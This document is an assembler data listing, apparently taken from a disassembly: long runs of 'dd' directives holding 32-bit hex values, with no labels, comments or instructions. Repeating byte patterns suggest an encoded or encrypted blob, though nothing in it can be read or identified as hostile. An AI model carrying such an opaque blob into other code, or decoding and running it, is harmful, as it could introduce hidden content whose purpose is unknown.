dd 502A32CBh, 0DF7A4852h, 56BAB130h, 0BF3C56B8h, 56AEB3EFh
dd 68D6D7CBh, 0D2A421A2h, 56D5B10Ch, 56ED3A3Dh, 3015B132h
dd 0CB4D5EB3h, 0C6633153h, 5694343Dh, 5937B132h, 30CA7A8Dh
dd 0C62ACFB3h, 416EBEA2h, 0A375B132h, 0DDB5E052h, 565DB132h
dd 197F3069h, 370FD5ADh, 56ABA2DBh, 915E4432h, 546158CBh
dd 539CB132h, 74BAB132h, 9F57BC67h, 2A4D33BFh, 0DD58B729h
dd 56ABB13Ah, 56D7373Dh, 378AB132h, 50F0BE62h, 36BAB132h
dd 0B2E20854h, 4447E753h, 0C357B132h, 4D62A564h, 0DFE8A179h
dd 3CD69888h, 0C08F5Fh, 0C2284E46h, 365BAA48h, 324C3054h
dd 0CEA73033h, 37C50768h, 0F83D3052h, 59F8EF23h, 5675B2BFh
dd 9C31D732h, 599DBA53h, 56AEEAB6h, 56465832h, 0CB68B132h
dd 60443D5Dh, 0DBEDB2CEh, 6F7B1557h, 0DD2ACD44h, 4FD3BEFAh
dd 59AEB132h, 5657A2B1h, 56A55832h, 3103B132h, 7D0F1232h
dd 0A32CC2CBh, 765EAF4Dh, 2ABE03BFh, 4CEB729h, 0F1C5CB2h
dd 72483054h, 0C33CD0DFh, 0BFEAB132h, 5675B13Ah, 375F207Fh
dd 0D55D36B0h, 98254464h, 0B5D6D752h, 0D7CD9D7Bh, 371D96FAh
dd 0BF8AE4C7h, 5675B138h, 1BB5614h, 0C308CBB8h, 0DCA17FBCh
dd 5657B130h, 0A9CAD052h, 4DAF32A0h, 4F6BBE34h, 3675B132h
dd 46534BB8h, 415DB132h, 1C11A3CEh, 96180D89h, 0C28BC707h
dd 3793E1CFh, 0DD8CD16Fh, 1ECAD7ECh, 9891D0C2h, 565DBEDBh
dd 986AF132h, 17D51215h, 510DE67Fh, 8F421C4h, 81F68C5h
dd 5675BEDBh, 0F5708832h, 50DB8905h, 1F8285B4h, 5FCFBB20h
dd 5753CCB1h, 5649343Dh, 4503B132h, 5F75B132h, 0B53948A9h
dd 0E908F525h, 0C08E9965h, 0C08DD9E2h, 1F1BC2B8h, 56D5A3DBh
dd 0F3BBE532h, 5216C9ABh, 3A2D05CCh, 6A84F718h, 5974DF88h
dd 5657B8B5h, 0CFDD132h, 0C0B3054h, 5940D003h, 5675BDBAh
dd 503ABE32h, 595DB132h, 56AEB1B6h, 59EFD732h, 56A458B7h
dd 72FEB132h, 0F482E67h, 0BC08B9D4h, 0B5114881h, 36F6D70Dh
dd 37C554B2h, 5711073Dh, 56A33B3Dh, 0D8DAB132h, 56EAB130h
dd 0AADED052h, 56BA3ADBh, 56515832h, 8E16B132h, 43110F2Dh
dd 0D8E7BE92h, 2B565215h, 0D3E5B3CAh, 5675B153h, 0A13BD752h
dd 303CB854h, 5967BA8Ah, 5657B0B4h, 0FDCD4D32h, 56C45952h
dd 47F7B132h, 0BABDC419h, 7F681985h, 1AC910F6h, 0D6BA502Fh
dd 5909ADD0h, 56ABB4BBh, 8E54D732h, 308B329Ah, 59F1BE8Ah
dd 56BABDBEh, 50D5BE32h, 59AEB132h, 5657B1B2h, 0AA00D732h
dd 5793073Dh, 0BF131ACBh, 5675B122h, 591E42CBh, 565DB6B2h
dd 0D7C8D132h, 371102E8h, 444276B9h, 0F5D5B132h, 285EC672h
dd 93877124h, 0E358233Ah, 0DEE79FD0h, 0D5A1EA62h, 5657B12Dh
dd 56B2333Dh, 423CB132h, 9EEAB132h, 0FA4DCC44h, 6620BA2Eh
dd 29ED7E9Ch, 11B62B91h, 5982F1E3h, 56ABB0B8h, 368C4D32h
dd 6B15EB2h, 372A8281h, 4232BE6Ch, 595DB132h, 56AEBFB4h
dd 565E5832h, 9F19B132h, 81E2E98Bh, 9CBCE0Ch, 5674333Dh
dd 9F4FB132h, 565573CBh, 0F97F3052h, 5906F698h, 56ABB3B1h
dd 37620332h, 4F62BE67h, 0BF75B132h, 56BAB126h, 0D278DD3Ah
dd 52993E48h, 3FF7EE60h, 0A3D5B440h, 5882D44Ch, 0DCE55DB9h
dd 5675B13Eh, 56BC3E3Dh, 0DA52B132h, 56AEB132h, 5658303Dh
dd 5C42B132h, 0D6D5B132h, 0D25E64B2h, 2BC17D99h, 0DEB5D1CCh
dd 565DB135h, 8F19BE52h, 0BE367A80h, 56ABB132h, 5F3F3068h
dd 36ECAA98h, 5675B6DBh, 8BD11B32h, 0FEF4DED2h, 56AEA2DBh
dd 0BCB41932h, 61087B0Bh, 0D0D3370Ah, 44A39D06h, 0EB7C2938h
dd 56B35853h, 0D85B132h, 0C9B231C3h, 0DD0322D1h, 0DCCBB977h
dd 0D45CD0C6h, 50F1CB74h, 5675B9DBh, 0C7070732h, 0E93DC747h
dd 5947D0BAh, 0F157B132h, 0C93A96AEh, 0A799F9FCh, 9A0ECBE1h
dd 36BCF32Dh, 59623A54h, 943C498Dh, 4747B136h, 0E357B132h
dd 4BAA5CAEh, 94EC03B6h, 0C3EDEA64h, 53DB778Ah, 4253D167h
dd 0A85DB132h, 0DBF5F56Fh, 0CDEA6143h, 2962B13Fh, 1FEA34B0h
dd 37753781h, 0AA895DB9h, 0AA4275B1h, 565C383Dh, 365BB132h
dd 5657BBDBh, 7EFD6032h, 0C656C90Bh, 0BE442086h, 5675B132h
dd 83503068h, 595BAA98h, 56AEB0B2h, 42BE4D32h, 75ABB132h
dd 411D07A6h, 0E9422B21h, 8DCB6BB2h, 3466AAAEh, 91E7CD72h
dd 56AE4977h, 91A2B132h, 56AB4D77h, 0D2DAB132h, 56EAB133h
dd 59B582CBh, 56BAB4B2h, 0DD3BD132h, 0DDC8D0F1h, 91AE482Ch
dd 4DD79FB0h, 56D5B034h, 8C6BD132h, 4A4394F4h, 438F0B54h
dd 0ADDCD753h, 0D3A121A2h, 5657B13Ah, 56AA3D3Dh, 0A32DB132h
dd 59024AB2h, 56714DB6h, 4752D132h, 5DB132h, 0BF0A0FBFh
dd 261E1B8Ah, 725DF2BCh, 8C190044h, 3C100B54h, 66BE306Bh
dd 37C2D1EFh, 564E5872h, 0A29BB132h, 0C219D1EDh, 4BD4BB41h
dd 51D48650h, 38E2D099h, 9EFED1CAh, 56BAA3DAh, 0A2F80B32h
dd 0DFB797FDh, 4967204Ch, 7FDA1574h, 302C20CBh, 37B476B9h
dd 599C4AB2h, 56BE29B6h, 56575832h, 63D3B132h, 0AF3A16B3h
dd 749FFD2Fh, 56DE3E3Dh, 0D68AB132h, 8FF4B7FEh, 2254C3DFh
dd 0D6A4F153h, 0D2A15AC9h, 5657B55Fh, 56ABB7DBh, 49145432h
dd 16C06213h, 0D6144952h, 535341D5h, 9F5DB132h, 2919D8DDh
dd 59AC3054h, 102FBEB2h, 36D5B136h, 0AF240E3Dh, 8FF7B253h
dd 59BCA41Ah, 565DBBBCh, 37CED132h, 0E4A779B3h, 0BFCA9665h
dd 56D5B13Ch, 26A31B8Ah, 7283F2BCh, 8C760044h, 361D6F50h
dd 56AEBCDBh, 3618ED32h
dd 0B10964ACh, 6BC72B2Fh, 0E98C6731h, 0D6149F44h, 0D2B553C9h
dd 565DB2FFh, 56AF3F3Dh, 0D6AFB132h, 0D2A452C9h, 56D5B294h
dd 0AD6BD7C7h, 0D27A5255h, 56BAB283h, 0A6BE31CBh, 5324BE52h
dd 0EF57B132h, 25CB4696h, 0D4DAD0CEh, 56EAB13Eh, 56733D3Dh
dd 0DCB5B132h, 565DB132h, 59DE4AB2h, 56541DB6h, 0DDCDD132h
dd 9154D7CAh, 0BF8BF98Ah, 5675B139h, 553125B4h, 0E19EAF36h
dd 30FBB19Bh, 0D558AFB9h, 56ABB133h, 0AE3631CBh, 4C52D752h
dd 0ADF5D057h, 993EBE8Ah, 0AA5DB133h, 0EEC84952h, 0D636F1A3h
dd 0D2A4B40Ch, 56D5B08Ch, 7BD431CEh, 57C1353Dh, 0D7DAB132h
dd 9181CFF3h, 56BC5874h, 54D3B132h, 3314828Ch, 543D8EECh
dd 0E11A3708h, 0F139677Eh, 3E843153h, 57D1353Dh, 0BFCEB132h
dd 5657B123h, 0DECF59B3h, 753EDB18h, 748C0002h, 0BCF49FF9h
dd 56B5587Dh, 5145B132h, 1B253FFAh, 3B869BBBh, 13E3BC41h
dd 0AF95D016h, 2AC433CDh, 539CB729h, 0D8BAB132h, 5A656C81h
dd 0AAB03A54h, 59AF56B2h, 56ABA6BEh, 56C75832h, 0EF04B132h
dd 42C38975h, 0B5CBCF5Bh, 17CBB24Fh, 0FCB5D32Bh, 0D7AC3054h
dd 492FBEDAh, 59D5B133h, 56EAA2BBh, 5BF6BE32h, 0BFBAB132h
dd 565DB13Ah, 0F75A7655h, 75F61CD6h, 0BFB53A54h, 56D5B123h
dd 0AA7ACAEFh, 95C8F9E7h, 0C00A812Eh, 0AA9A2E52h, 4328BE10h
dd 0BF57B132h, 56ABB122h, 236697ABh, 0DBB3EAF2h, 456719C5h
dd 0B30DAE95h, 0BFAD56B2h, 56AEB13Bh, 4D82505Eh, 2B642085h
dd 0D7B3D1E5h, 0BE25E2C5h, 5675B13Ch, 6CBEEEA4h, 0FCC2BC1Ah
dd 0D600AAD4h, 0D2586801h, 56ABB132h, 0D7B3D06Bh, 592A30C9h
dd 567524B6h, 56BF5832h, 544BB132h, 3622C69Ah, 565B303Dh
dd 0DBA4B132h, 56D5B134h, 56EA333Dh, 0BF20B132h, 56BAB13Eh
dd 4CF69A7h, 44932AFFh, 1BC723A4h, 2C2823CDh, 30B5B729h
dd 9D6B4BB9h, 74838B72h, 0BFDAEC53h, 565DB135h, 0C7D21C73h
dd 0DD319E34h, 1322D0F5h, 56C158CEh, 0FBB2B132h, 4E695A7Fh
dd 0F849131Bh, 63111D7Ah, 0E9DE0E8h, 5936D193h, 56ABB9B7h
dd 5453BE32h, 36EAB132h, 0AA083253h, 333FBE33h, 0BF5DB134h
dd 56AEB13Bh, 0B193C662h, 856B0CEDh, 0EC5E4469h, 50FFB2FBh
dd 296E0B52h, 0D9B5AABBh, 565DB134h, 709879B3h, 63681F7h
dd 56A758CBh, 271FB132h, 0C33FD2A5h, 16F8293Ch, 0D4312783h
dd 5046CD1Ch, 9119BE52h, 5652313Dh, 1A13B132h, 37D164BFh
dd 0A3DA8D0Bh, 5FF7BE6Ah, 0BFBAB134h, 565DB137h, 90FD8DF2h
dd 0DBED3AF5h, 0A3ADA430h, 0D45E4962h, 50F1CD1Ch, 53F9BE52h
dd 30BAB132h, 5E707FB3h, 56AC343Dh, 3737B132h, 66978853h
dd 56DC5852h, 2157B132h, 0B08CF5B9h, 0A307CA9Ah, 0D952E953h
dd 56AEB4F2h, 79ED3ACAh, 0A3ADAA48h, 2CFA33B1h, 36FEB729h
dd 56733C3Dh, 0DBB5B132h, 565DB132h, 56AEB7DBh, 46013832h
dd 37B1062Ch, 0BF2086BBh, 56EAB121h, 4E0F048h, 4B060074h
dd 4B5664A3h, 72FE9AA4h, 0DFF7102Ah, 653A175h, 78573ACEh
dd 0BFECAA4Eh, 5675B138h, 0FAB4A34h, 0E1B9B299h, 0D2A189A2h
dd 5657B120h, 56ABBCDBh, 8BB81232h, 1A7CF570h, 6AFC26D5h
dd 4A3179F8h, 564D5802h, 8765B132h, 0F6998AEh, 0BB2872F8h
dd 3D49BA5Ch, 0BFB2454Dh, 5675B135h, 6D4B75CBh, 0DF44A9DEh
dd 59CEB96Dh, 5657B2B9h, 2B7C3132h, 178769B3h, 0BF8BD511h
dd 5675B43Eh, 413DBECEh, 0BF5DB132h, 56AEB120h, 9143457Eh
dd 5B769769h, 12A1C30h, 0FE32AA5Ah, 13B2AE3Fh, 56BAB3CAh
dd 64B44D32h, 36AEB132h, 300A68B2h, 0DB8E7EB3h, 0AE907653h
dd 56EAB133h, 0C9843052h, 59871759h, 565DA2BAh, 56A05832h
dd 0B52FB132h, 0F108C08h, 0F397359Fh, 57EDFFEh, 79CF3A53h
dd 59BCAA48h, 565DBDBDh, 56A95832h, 200EB132h, 12C1EC6Eh
dd 795732CCh, 42ECAA48h, 5675A3DBh, 264DF432h, 1074259Eh
dd 62F55C2Ch, 784FFA11h, 0DFBA1EC2h, 56D85805h, 0A172B132h
dd 8E030C7Fh, 0E52BE28Fh, 36DE96DCh, 56AEA3DAh, 0C85FA32h
dd 0AC266B0Bh, 331F02FFh, 81A10109h, 0BF99B3C0h, 56BAB13Eh
dd 27D52014h, 0D859F277h, 3CB16A2Ah, 0B72AD76Dh, 0DFB4BA45h
dd 0D516A175h, 0D37AB2CAh, 56BAB172h, 0EE3DD1CAh, 1977FF69h
dd 5657B4DBh, 1D1CD32h, 59B4B98Fh, 56EAB2B6h, 91C2BE32h
dd 78387653h, 545BAA4Eh, 59AEB132h, 5657BCB4h, 56A35832h
dd 4D9DB132h, 26C746CAh, 4B9CBD50h, 0AEBAB132h, 595F49B1h
dd 56ACFDBFh, 56595832h, 4F23B132h, 2EAA8EF9h, 0D951AA2Bh
dd 0FF54E45Ch, 5642CCB1h, 5692353Dh, 0DEA1B132h, 5657B135h
dd 56AA303Dh, 5929B132h, 0AAEBF784h, 5675319Bh, 393FBE32h
dd 365DB132h, 0F20C0A54h, 379D063Dh, 412CBE72h, 0BFD5B132h
dd 56EAB120h, 78ABC3AAh, 7B4103ECh, 0F23E695Eh, 0F63C378Eh
dd 0BED45AD0h, 0BFCB4437h, 56D5B120h, 8F62B8AFh, 818E9DACh
dd 0B4D239D0h, 12D4BE91h, 594754E5h, 1457B132h, 0DDAC90B9h
dd 3C022206h, 0C852CCC4h, 0BF14614Fh, 56BAB17Dh, 565DBCDBh
dd 0F5829732h, 0FB0DF43h, 3ACF4D03h, 0A9F811F3h, 0BFEAB132h
dd 5675B126h, 56ED366Dh, 9368E801h, 554E5083h, 7870E239h
dd 0C0E97657h, 0BFD059B1h, 56EAB13Eh, 7C10E283h, 35C666B7h
dd 4A8B2D1Ah, 37CED152h, 0D636D052h, 0BFCA73D6h, 56D5B12Fh
dd 5F03E2CEh, 1F75B132h, 477CB478h, 916DD84Ch, 2A802BB9h
dd 0DDABB729h, 0D528236h, 56D518C7h, 0D3E53132h, 5675B190h
dd 56BB3D3Dh, 55A8B132h, 5723BEF4h, 0A357B132h, 0BFAE71B1h
dd 56D5B13Bh, 0C2250378h, 0B7E3D2F0h, 7838B26Dh, 0BF5BAA4Eh
dd 56AEB137h, 0DDEBA679h, 0DF57F9F9h, 0D1DAB975h, 56EAB129h
dd 56645952h, 5708B132h, 0EFE9C946h, 1ACB546Fh, 2B456BAEh
dd 0C35988Eh, 36B4D052h, 0D7380E3Dh, 0A03E10F9h, 1133D019h
dd 5649583Eh, 6D40B132h, 3FD98791h, 0F5277012h, 27C00023h
dd 0DAE3087Ah, 1F9C2CD9h, 59BAB130h, 565DA9BDh, 4646D132h
dd 0BF57B132h, 6A86BA77h, 0CCA4E6BCh, 9A68F50Ch, 0CCEE9CFh
dd 8E4D4953h, 369B9ACBh, 56A8353Dh, 0D258B132h, 56ABB132h
dd 37665CB2h, 0DD8A69C5h, 57FABEE1h, 0AEBAB132h, 539D3253h
dd 56AF303Dh, 55AEB132h, 4DD79FB0h, 5E5ABE34h, 59EAB132h
dd 5675B3BDh, 1EDBD132h, 52DEBE52h, 30AEB132h, 0BFA56789h
dd 56ABB134h, 0DF1F4ED8h, 0AA8BD7FBh, 0BF7DF6BBh, 56BAB123h
dd 0F3144803h, 250906B3h, 7B511EFDh, 89B87BBBh, 5A92387Bh
dd 44870952h, 3780B48Ah, 56BB16DBh, 56525832h, 0B411B132h
dd 901DF112h, 14FD6A9Ah, 68BD15FDh, 592A82B8h, 5675AAB9h
dd 4339BE32h, 0BF5DB132h, 56AEB122h, 148D1DFCh, 3A41FD19h
dd 57E8E93Dh, 0AA3E79FFh, 0BF74F7B8h, 56BAB13Fh, 0FA34534Ch
dd 5D42ADCDh, 0ECA50E78h, 552CBE76h, 36D5B132h, 0D642D0CEh
dd 5698343Dh, 0D4B5B132h, 565DB133h, 3668B2CBh, 5657B9DBh
dd 1C758732h, 4A4FAEA6h, 9669D04Bh, 5E9CD130h, 3EBAB132h
dd 0CE36D605h, 0BE4A4CB2h, 5657B120h, 25BF419Fh, 6BA03FB8h
dd 782B036Eh, 4C724BEDh, 0E1B511F7h, 0ED3CEBE9h, 56AEB133h
dd 56593C3Dh, 0DCCBB132h, 56D058CCh, 6099B132h, 37E1FBECh
dd 0D2B56A39h, 565DB170h, 56AEB6DBh, 34840832h, 7C52B16Fh
dd 0EF4F3BCEh, 36ECAB8Bh, 0FD4977B3h, 0DDDCADF8h, 0B5DDD0C8h
dd 5A46D133h, 7757B132h
dd 3836A1D9h, 59D59209h, 0DD2E949Eh, 509CEEC3h, 0C0BAB132h
dd 22D7C0D5h, 95ADD059h, 565D5952h, 2BE3B132h, 0AC64ED98h
dd 0AFD5442Bh, 0E92CD052h, 56AA7B0h, 5E1A3853h, 5AE938CEh
dd 0B1940A52h, 0DDCDF8FAh, 273CD0ECh, 0AAEAB132h, 5675BFDBh
dd 6145FC32h, 0A8473746h, 2C1A52C0h, 0A145A96Dh, 0A98E49EAh
dd 0BFD5B132h, 56EAB13Ch, 6ECF8FAAh, 0E38A7681h, 0E0ECD19Ah
dd 0D2A15B51h, 5657B135h, 0D6E70252h, 7DB430E1h, 8E1D49F4h
dd 62943052h, 37953F88h, 0A35F71B1h, 59A6F6BBh, 5657BDB2h
dd 5020BE32h, 59D5B132h, 56EAB1B2h, 5A323832h, 56BAB6DBh
dd 0D3018F32h, 204C9C5Bh, 50D2BECAh, 36ABB132h, 6DC0954h
dd 9F1FD053h, 59933B52h, 56BABFB0h, 56545832h, 9F24B132h
dd 0F8B9B9D3h, 372B9DAFh, 56C558F1h, 2C0BB132h, 77FA25C8h
dd 4C185711h, 19880C20h, 0BECEB071h, 5657B13Eh, 2E71F391h
dd 1D990B18h, 4BB185E1h, 56753A3Dh, 30E0B132h, 28E59B3h
dd 4247E453h, 2857B132h, 0A064752Dh, 4D9C66FAh, 4CC2D0F9h
dd 4E3B2D32h, 0DDC42FA9h, 565B58DEh, 0BF57B132h, 0F5E943C9h
dd 0A35775B1h, 563D4952h, 0CEAB132h, 0E3E55BB3h, 5953B729h
dd 0F35DB132h, 0C184AE16h, 0B4A096A0h, 32E64D5Ah, 533C0AADh
dd 8EAB132h, 0A791842Ch, 2F440BB9h, 5FB4B729h, 0E2AEB132h
dd 94C6B137h, 0CCC1428Ch, 0D52C7801h, 0D2E5B10Dh, 5675B5A0h
dd 0BFBD3ACBh, 565DB120h, 0ABDFA1BDh, 5EA74019h, 0DBBB4A65h
dd 4BC3747Ah, 0DCE5F501h, 5675B120h, 56B6373Dh, 51B4B132h
dd 0A5AEB132h, 0F8C7CCECh, 2354E65Dh, 56DD583Eh, 0E07EB132h
dd 0CC66A6FAh, 59DA0E9Ah, 0BF0A628Dh, 56AEB134h, 7CDCAC6Ch
dd 37F54939h, 0BFDDC4CDh, 56EAB13Bh, 0FE1CF788h, 5D931296h
dd 0BEA1E1C3h, 56AEB9CEh, 5997BACBh, 56ABF1B7h, 4659BE32h
dd 0BFEAB132h, 5675B139h, 0DDE085F6h, 783AF52Bh, 0DD095197h
dd 56435835h, 7625B132h, 0E57A538Eh, 39D3B89Eh, 8A26A3DAh
dd 0BA7E108h, 65B49013h, 0BFAEB132h, 5657B137h, 0E6DB9AC4h
dd 42123264h, 56EABBDBh, 155A5832h, 3F4E3E13h, 0BF101F2Ch
dd 0A9514E19h, 5657BCDBh, 0C6B98E32h, 0E08FD0FFh, 24E6BDF4h
dd 13FC86B8h, 56BD58CEh, 0C896B132h, 0B0B52F1Ch, 5A224E18h
dd 56BF3E3Dh, 593CB132h, 9AEAB132h, 18DE4FD7h, 3AB9429Fh
dd 10E06C64h, 2351EE58h, 61A8483Ah, 5EF959CAh, 513CB132h
dd 0B2EAB132h, 0B7BF176h, 96B1C2E6h, 566F353Dh, 0D3A1B132h
dd 5657B133h, 55F758CBh, 59B5B132h, 56EABFB3h, 567C5832h
dd 88E9B132h, 4FC4556Fh, 0BE0432F8h, 5657B13Ah, 7861C37Eh
dd 4369D820h, 37B542B9h, 3689F4B9h, 0AF410E3Dh, 595A8853h
dd 56AD94B0h, 57DDBE32h, 0A3ABB132h, 0BF29F4CDh, 56EAB13Eh
dd 0BB63D53h, 0F0199A45h, 1C6B4669h, 56AACEB1h, 5612353Dh
dd 0D5A4B132h, 56D5B13Bh, 30710252h, 17D259B3h, 5AC53253h
dd 7AD9BE32h, 0AAAEB132h, 5657EEDBh, 982AD132h, 3AC699CDh
dd 56EABDDBh, 8E17B532h, 0C95F7EBBh, 6CB2B500h, 0D3A1D0D3h
dd 5657B135h, 0D8850A52h, 0EEB4A4DBh, 0A9154ECDh, 5675A0DBh
dd 84D83732h, 0DA76B399h, 0AABAEA3Fh, 0BA6F8C4Bh, 5312DD35h
dd 0A3D5B132h, 308A1AC1h, 0D07A61B9h, 56BAB133h, 0B4B4D0C7h
dd 36514ECCh, 378B76B2h, 53BBCEB1h, 565C353Dh, 4203B132h
dd 0CE75B132h, 292E5BD6h, 37F1FA95h, 9D372779h, 0B5DA3C8Dh
dd 0D5F7800Bh, 59D3A14Dh, 56EACBB7h, 567E5832h, 9903B132h
dd 625801A7h, 8AF03F97h, 0E831D165h, 17CAD3F7h, 56D4383Dh
dd 0AA16B132h, 5971F6B9h, 56BAB0B1h, 9D64932h, 56BD583Eh
dd 6526B132h, 596F6ECAh, 958CC892h, 0E739472Ah, 31BA2A35h
dd 4033BE41h, 0BF5DB132h, 56AEB123h, 0E7A0BDCDh, 0FCF02AB1h
dd 5BDEEB8h, 0C4BB3AA0h, 57E758E3h, 0DD4FB132h, 0DDA4B575h
dd 0D7A1BD6Dh, 5657B133h, 57CD58CEh, 0DD2CB132h, 0AF8AB575h
dd 5673343Dh, 0D8B5B132h, 565DB132h, 5AF13A53h, 56513B3Dh
dd 0AECBB132h, 37050E3Dh, 59E2EE09h, 567570B7h, 5A3ABE32h
dd 595DB132h, 56AEB7B1h, 56D0BE32h, 4ABB132h, 56C1383Dh
dd 5903B132h, 0E75B132h, 241BCB0Ch, 6940AFFh, 0B1BCE00h
dd 1DC2BBBh, 56BF5836h, 0CC7DB132h, 509DB38Dh, 0AE77F717h
dd 0A29C61C6h, 72D77044h, 385A378h, 51D3BE22h, 59ABB132h
dd 56D5B0B0h, 551F4D32h, 0D67AA567h, 56BAB13Ch, 565A5852h
dd 0F952B132h, 0CAFF805Fh, 920D064h, 8CFE483Eh, 530132CBh
dd 0B4CDD752h, 0A03BD715h, 0C3C18FFh, 56AEBADBh, 0E92C4332h
dd 2ECB28CFh, 0FBCD5122h, 56EAC9DBh, 3015D132h, 60E767B3h
dd 565D3E3Dh, 0BFCFB132h, 5657B123h, 306F29EDh, 0FB3ECD2Dh
dd 0F571FFCh, 2B2367Dh, 1131D091h, 564F5836h, 7E43B132h
dd 10F32C44h, 0B7C36C11h, 0EEBFA8CBh, 70051187h, 0AA79EEB9h
dd 853BD752h, 0DB520545h, 56AEB130h, 7D36D052h, 4542B56Dh
dd 64D5B132h, 5E22803Fh, 0A5968EADh, 6D40DACBh, 0BC95626Dh
dd 0BD2DADE2h, 0DC544D37h, 50BE9657h, 46AA32CEh, 4B6FBE31h
dd 0BF75B132h, 56BAB122h, 0D54F8981h, 0EFF5D100h, 1498198h
dd 9E979633h, 575CBE73h, 0AFEAB132h, 0DF7A6819h, 56BAB122h
dd 56573B3Dh, 5347B132h, 0BC57B132h, 3AC730EAh, 57D4EDBBh
dd 56E73F3Dh, 5E9CB132h, 24BAB132h, 0E6FEEC25h, 0EE89C3D1h
dd 0A9A84ECDh, 56AE08C7h, 0DDB5B132h, 4069BEFCh, 0BF75B132h
dd 56BAB123h, 6896A382h, 0AE64FD39h, 7A7476DEh, 0CE76BCh
dd 0FD26D056h, 9D61D752h, 59148A83h, 56BAB0B4h, 34B44932h
dd 59514ECEh, 5657B0BDh, 0AFCA4D32h, 59B5D1FBh, 56EAB1B5h
dd 56F1BE32h, 37BAB132h, 565DBADBh, 3EB96632h, 0E28CA7E9h
dd 0C87E5340h, 56C57353h, 56EABBDBh, 0F9B88F32h, 3D76A126h
dd 359D03Dh, 0AE423ACEh, 0AEAB75B1h, 1A1AD152h, 56D6383Dh
dd 0E1E5B132h, 569DD0C5h, 0CBAB132h, 0ECE55BB3h, 0DEA1B729h
dd 5657B125h, 56ABA3DBh, 0DD736232h, 2672CA97h, 1A4B6395h
dd 0D114893Dh, 0AFC8824Eh, 2F500BB9h, 65ABB729h, 0D3A4D1FBh
dd 56D5B134h, 0B9B541B3h, 0B0FFD02Ch, 56AE5853h, 8C7FB132h
dd 53FD60EAh, 0CB843347h, 2CFEA00Dh, 3A439524h, 69697D29h
dd 8DF1BE32h, 0BFBAB131h, 565DB138h, 172EFBCh, 0A2315A0Dh
dd 0D9A46804h, 56D5B13Eh, 56EC343Dh, 0DD7AB132h, 56BAB132h
dd 59B4B6B9h, 91AEB132h, 0F746C283h, 9DA146EDh, 181730E4h
dd 2315E994h, 5EFEBE3Eh, 59BAB132h, 565DB3B4h, 59CFD132h
dd 5657B6B9h, 572FBE32h, 0AED5B132h, 0A3E2C4CDh, 10C7D162h
dd 56BAB8DBh, 0CFFFEE32h, 0E548634Dh, 0BE361887h, 56ABB286h
dd 56D5BDDBh, 0E2284632h, 9397F3E9h, 0A509150Ah, 599DBA7Bh
dd 56AEFCB7h, 0E931D132h, 9721D3A2h, 5C5EBE53h, 36EAB132h
dd 0B97041B3h, 37DAECE4h, 365A3A53h, 56AEA5DBh, 0B96BAD32h
dd 7F427630h, 0AC7CB033h, 0E9164393h, 0B2559786h, 0A301D700h
dd 60B4D0C7h, 0BFAEB132h, 5657B138h, 0D4DC5F31h, 2547FAFFh
dd 9169BBFAh, 51F9BE26h, 59BAB132h, 565DB0B2h, 5D474932h
dd 59A84ECDh, 56ABBDBEh, 0A6AD132h, 30FABA80h, 995D43B3h
dd 0AAFF3853h, 565DBBDBh, 3BAD3332h, 72F7B50Fh, 0A90EC0DAh
dd 0D7DABD47h, 56EAB124h, 5675A0DBh, 72632F32h, 9F23C021h
dd 0BE4DB7EFh, 2F719E74h
dd 23543E85h, 0A9294D3Ah, 0D78CD105h, 6A438E1h, 56BABDDBh
dd 1B2A5E32h, 0FB48150Fh, 7C1C14E9h, 0BECAE879h, 56D5B3E2h
dd 56EB313Dh, 3680B132h, 2FE60854h, 599DBA53h, 56AE9BB6h
dd 5BD8BE32h, 36ABB132h, 3A1B3054h, 2021306Fh, 3705EA2Ch
dd 56B8E8DBh, 56505832h, 84EEB132h, 0E9933E43h, 0B3EB70BEh
dd 0DD74FAD8h, 0D3E54D77h, 5675B131h, 6FDB4952h, 65DFBE35h
dd 36AEB130h, 0CCA63054h, 45B30AFh, 37E0298Ah, 5916F4CDh
dd 5675B0B7h, 29394432h, 0D252B136h, 56AEB117h, 5A2832CEh
dd 4C2FBE32h, 36D5B132h, 0C01D57B3h, 80FEF0A4h, 56DA5853h
dd 0AA3DB132h, 562ABE65h, 857B132h, 0A9540953h, 7B54ECDh
dd 56EABFDBh, 6520432h, 0B31D3852h, 0C8C07115h, 8E40D7Ah
dd 5657BFDBh, 7C573E32h, 0ECC87604h, 0E5DE5A57h, 37DA2CB1h
dd 56BAB48Bh, 0FDAE4D32h, 56A63D3Dh, 0D358B132h, 56ABB130h
dd 8E3CD052h, 36154ECCh, 9E7B0A54h, 0D7793054h, 29DED034h
dd 0D2A1B422h, 5657B1A2h, 56ABBCDBh, 7C71732h, 619BD09h
dd 8714038Eh, 2939B768h, 0D352B722h, 56AEB197h, 5657B4DBh
dd 0D39CF732h, 3694A760h, 59034D52h, 0BE75B132h, 0D5D00355h
dd 57BD5E38h, 7654DFA8h, 3736FB5Ah, 52EC3AC7h, 0BF293B52h
dd 56EAB13Ah, 9E30E5E3h, 634FDE6Eh, 5A023A53h, 56AEA3DBh
dd 0F92E5F32h, 0EF9BAA32h, 735AE9D3h, 5D6CA637h, 0BF5DF4C6h
dd 56BAB187h, 564C5852h, 0A81B132h, 0C66A5036h, 0BDC737DCh
dd 0AD12458Fh, 46D212h, 0AA14EECEh, 0AABEF6B9h, 0BF51EEB9h
dd 56AEB121h, 2E1FCBEDh, 477D6A1Ah, 0B07A1E1Ch, 9A788B84h
dd 0AE45C0DFh, 56BAC0DBh, 565A5832h, 3EDDB132h, 9B79C15h
dd 52EC3ADCh, 56D5A2DBh, 4D766A32h, 2A35D3EEh, 2B4B1F88h
dd 0E85651ABh, 6FDC44A8h, 5A083ACBh, 52F49AC7h, 56DC5852h
dd 265DB132h, 22294EDEh, 0E9FF5E67h, 7C967F8Eh, 53453253h
dd 462832CAh, 492EBE31h, 36D5B132h, 65B00954h, 0C2DE361h
dd 5946F053h, 565DBCB7h, 56A65832h, 5ECDB132h, 2069A8D3h
dd 8FFE9865h, 57B638C7h, 5C9CD133h, 3FBAB132h, 0D4140D2Fh
dd 0B766E16Dh, 0A9EFD06Bh, 0BF544ECDh, 56D5B138h, 57DC3D8Ch
dd 862FE222h, 5303C59Eh, 365DB132h, 0CDE4A28Bh, 6EDD742h
dd 0FD58D032h, 56D858CBh, 77B1B132h, 34717685h, 0B37538EAh
dd 0BF5983ADh, 0A9514C75h, 565B323Dh, 0D4A4B132h, 56D5B134h
dd 56EA383Dh, 0A314B132h, 0E9B5D1FBh, 564E59EDh, 6CCCB132h
dd 22285AD4h, 0EA22A6FCh, 57382D87h, 6F58352Fh, 372C44F0h
dd 56BABDDBh, 6ADD6032h, 4C2CEA1h, 91E18C25h, 56A373AFh
dd 56D5BEDBh, 0BE816632h, 633FE88Ch, 9A57B85Ah, 913C2184h
